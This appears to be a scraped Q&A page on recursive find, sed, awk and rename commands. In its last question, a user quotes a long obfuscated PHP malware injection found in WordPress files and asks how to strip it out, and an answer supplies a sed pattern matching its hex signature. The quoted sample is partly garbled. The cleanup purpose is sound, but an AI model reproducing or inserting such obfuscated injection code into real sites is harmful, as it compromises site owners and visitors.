I'm using command line and sed. I need a command to delete from multiple files recursively.
I have left comments such as:
<!--String 1 -->
Code to delete goes here
<!--String 2 -->
So I need to delete string 1, the text in between and string 2, in all files in the current directory and below.
Would appreciate any help :)
Just use addresses:
sed -e '/<!--String 1 -->/,/<!--String 2 -->/d'
Update: to apply the sed command recursively to files under a path, you can use find:
find /path/to/directory -type f -exec sed -e '/<!--String 1 -->/,/<!--String 2 -->/d' {} \;
Related
As a part of optimisation, I am trying to replace all Java files containing the string:
logger.trace("some trace message");
With:
if (logger.isTraceEnabled())
{
logger.trace("some trace message");
}
N.B. Some trace message is not the exact string but an example. This string will be different for every instance.
I am using a bash script and sed but can't quite get the command right.
I have tried this in a bash script to insert before:
traceStmt="if (logger.isTraceEnabled())
{
"
find . -type f -name '*.java' | xargs sed "s?\(logger\.trace\)\(.*\)?\1${traceStmt}?g"
I have also tried different variants but with no success.
Try the following using GNU sed:
$ cat file1.java
1
2
logger.trace("some trace message");
4
5
$ find . -type f -name '*.java' | xargs sed 's?\(logger\.trace\)\(.*\)?if (logger.isTraceEnabled())\n{\n \1\2\n}?'
1
2
if (logger.isTraceEnabled())
{
logger.trace("some trace message");
}
4
5
$
If you would like to prevent adding new line endings
sed will add \n to the end of files that do not end in \n)
You could try like:
perl -pi -e 's/logger.trace\("some trace message"\);/`cat input`/e' file.java
notice the ending /e
The evaluation modifier s///e wraps an eval{...} around the replacement string and the evaluated result is substituted for the matched substring. Some examples:
In this case from your example, the file input contains:
if (logger.isTraceEnabled())
{
logger.trace("some trace message");
}
If have multiple files you could try:
find . -type f -name '*.java' -exec perl -pi -e 's/logger.trace\("some trace message"\);/`cat input`/e' {} +
I have a load of folders of images (a lot!) and some of the thumbnails have a 'tn' prefix, while others don't, so in order to be able to write a gallery for all, I'm trying to remove the 'tn' from the beginning of the files that have it recursively in the entire directory.
So, an offending thumbnail would have the files :
tngal001-001.jpg
tngal001-002.jpg
tngal001-003.jpg
etc...
and I need them to be :
gal001-001.jpg
gal001-002.jpg
gal001-003.jpg
or even better still... if I could get the whole tngal001- off, that'd be amazing, so, in the directory gallery I have:
gal001/thumbnails/tngal001-001.jpg
gal001/thumbnails/tngal001-002.jpg
gal001/thumbnails/tngal001-003.jpg
etc...
gal002/thumbnails/tngal002-001.jpg
gal002/thumbnails/tngal002-002.jpg
gal002/thumbnails/tngal002-003.jpg
etc...
gal003/thumbnails/tngal003-001.jpg
gal003/thumbnails/tngal003-002.jpg
gal003/thumbnails/tngal003-003.jpg
etc...
and I'd prefer to have:
gal001/thumbnails/001.jpg
gal001/thumbnails/002.jpg
gal001/thumbnails/003.jpg
etc...
gal002/thumbnails/001.jpg
gal002/thumbnails/002.jpg
gal002/thumbnails/003.jpg
etc...
gal003/thumbnails/001.jpg
gal003/thumbnails/002.jpg
gal003/thumbnails/003.jpg
etc...
I have tried find . -type f -name "tn*" -exec sh -c 'for f; do mv "$f" "{f#tn}"; done' find sh {} +
and find . -type f -exec sh -c 'for file in tn*; do mv "$file" "${file#tn}"; done' findsh {} +
but I'm not getting it quite right. I just want to understand how to strip off the letters/rename recursively, as I'm just getting my head around this stuff. All the other questions I have found seem to be talking about stripping out characters from file names and all the ascii characters and escaping spaces etc are confusing me. I would appreciate it if someone could explain it in plain(ish) english. I'm not stupid, but I am a newbie to linux! I know it's all logical once I understand what's happening.
Thanks in advance, Kirsty
find . -type f -name "tn*" -exec sh -c '
for f; do
fname=${f##*/}
mv -i -- "$f" "${f%/*}/${fname#tn*-}"
done
' sh {} +
You need to split "$f" into the parent path and filename before you start to remove the prefix from the filename. And you forgot to add a $ in your parameter expansion (${f#tn}).
${f##*/} removes the longest prefix */ and leaves the filename, e.g.
gal001/thumbnails/tngal001-001.jpg -> tngal001-001.jpg
(the same result as basename "$f")
${f%/*} removes the shortest suffix /* and leaves the parent path, e.g.
gal001/thumbnails/tngal001-001.jpg -> gal001/thumbnails
(the same result as dirname "$f")
${fname#tn*-} removes the shortest prefix tn*- from the filename, e.g.
tngal001-001.jpg -> 001.jpg
I added the -i option to prompt to overwrite an already existing file.
You can loop over all the folders and files in your gallery and then rename them as following.
Assuming you have your folder structure as
gallery/
gallery/gal001
gallery/gal002
gallery/gal003
...
gallery/gal001/thumbnails/
gallery/gal002/thumbnails/
gallery/gal003/thumbnails/
...
gallery/gal001/thumbnails/tngal001-001.jpg
gallery/gal001/thumbnails/tngal001-002.jpg
gallery/gal001/thumbnails/tngal001-002.jpg
Move to your gallery using cd gallery then run the following code
for j in *;
do
cd $j/thumbnails;
for i in *;
do
echo "Renaming $j/thumbnails/$i --> $(echo $i|sed "s/tn$j-//1")";
mv -i $i $(echo $i|sed "s/tn$j-//1");
done
cd ../..;
done
Explanation
for j in *;
loops over all the folders in gallery ie j contains gal001, gal002, gal003, etc.
cd $j/thumbnails;
moves inside 'gal001/thumbnails' direcotry.
for i in *; do
loops over all the files in the directory gal001/thumbnails and name of the file is contained in i.
echo "Renaming $j/thumbnails/$i --> $(echo $i|sed "s/tn$j-//1")"
Prints the file name and to which it is being renamed to. (Remove it if you don't want verbose).
mv $i $(echo $i|sed "s/tn$j-//1"); done
mv -i $i newname Renames $i (value of current file in loop). -i flag to prompt if the file name after rename already exist.
sed is stream editor, takes the filename by piping $i into sed,
"s/previous/new/1" replaces first occurence of previous value with new value in the stream. Here, replaces value of tn + j (which is name of directory gal001) i.e. tngal001- with "null string" (nothing between //).
cd ../.. to move back to gallery.
I have got plenty of files in different location including */synth/debug/* in their path pattern, all files have got *.list extension. Files look like:
MODULE XYZ
SIGNED_A 0
WIDTH 12
SIGNED_B 1
(...)
MODULE XXX
SIGNED_A 1
WIDTH 12
SIGNED_B 0
(...and so on...)
I need to find first file with MODULE XXX (the same for XYZ and so on) and SIGNED*1 pattern in the first 3 line after MODULE XXX and stop searching. SIGNED word appears always in 1-3 line after MODULE.
I've got something like that:
find . -name *.list -path "*/synth/debug/*" -type f -exec grep -FHI "MODULE XXX" -A 3 {} \; | grep "SIGNED 1" -A 3 | head -1
but got:
find: ‘grep’ terminated by signal 13
after first (correct) occurence and the command still searching and parsing files wasting the time.
Using awk
find . -name *.list -path "*/synth/debug/*" -type f -exec awk '/MODULE XXX/{xxx=1;next}xxx{xxx+=1}/SIGNED.*1/&&xxx<=4{print FILENAME; exit}xxx>4{nextfile;}ENDFILE{xxx=0}' {} +
Output is name of the first file matching your conditions
Remove xxx>4{nextfile;} if a file contains multiple MODULE XXX blocks
To process every module in 1 command :
find . -name *.list -path "*/synth/debug/*" -type f -exec awk '/MODULE/{current=$2; line=1; next}current in results{next;}{line+=1}/SIGNED.*1/&&line<=4{results[current]=FILENAME}END{for(module in results){print module, results[module]}}' {} +
Output : module name + first file matching conditions :
ABC file2.txt
XXX file1.txt
XYZ file1.txt
How can I combine the result of commands find and grep in the format: filename: => string?
For example, find . -maxdepth 2 -type f -name .env -exec grep 'CURRENT_ENV' {} \; The command will display me the line when CURRENT_ENVstring found, e.g. CURRENT_ENV=staging. I want to modify the output in the follow way: ./site1.com: CURRENT_ENV=staging.
I can't understand How can I reach that. Is it possible?
-H, --with-filename
Print the file name for each match. This is the default when
there is more than one file to search.
http://man7.org/linux/man-pages/man1/grep.1.html
I have several 1000 WP files that were injected with string such as the following:
I know I can do a replace with something like this:
find . -type f -exec sed -i 's/foo/bar/g' {} +
But I am having a problem getting the large string to be taken correctly. All the " and ' cause the string to jump out of my CLI.
Below is a sample string:
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\1162]y4c##j0#67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1pde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x8984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5cujojRk3%x5c%x7860{666~7878Bsfuvso!sboepn)%x5c%x7825epnbss-x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)p5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%xp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;uc%x7825Z<#opo#>b%x5c%x7<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x70QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x!Ydrr)%x5c%x7825r%x5c%x%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5cq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!s%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x560msvd}+;!>!}%x5c%x7827;!>tpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f2e:4e, $rzgpabhkfk, NULL); $qenzappyva=$rzgpabhkfk; $qenzappyva=(798-677); $rlapmcvoxs=$qenzappyva-1; ?>
EXAMPLE of what I tried:
perl -pi -e 's/<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $rlapmcvfunction fjfgg($n){%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782c%x7824*!|!%x5c%x7824-...x2a\57\x20"; $qenzappyva=substr($rlapmcvoxs,(48535-38422),(59-47)); $qenzappyva($rrzeotjace, $rzgpabhkfk, NULL); $qenzappyva=$rzgpabhkfk; $qenzappyva=(798-677); $rlapmcvoxs=$qenzappyva-1; ?>//g' /home/......../content-grid.php
-bash: !: event not found
If the match is identical and on a separate line you can use comm
comm -23 source subtract
where subtract is the file with the contents to be removed from the source file. It's not an in place replacement so you have to create a temp file and overwrite the source after making sure it does what you need.
If you don't care about the extra newline, the simple approach using sed would be:
find . -type f -exec sed -i 's/.*\\x61\\156\\x75\\156\\x61.*$//g' {} +
sed can also handle the newline, but that is a little more complex.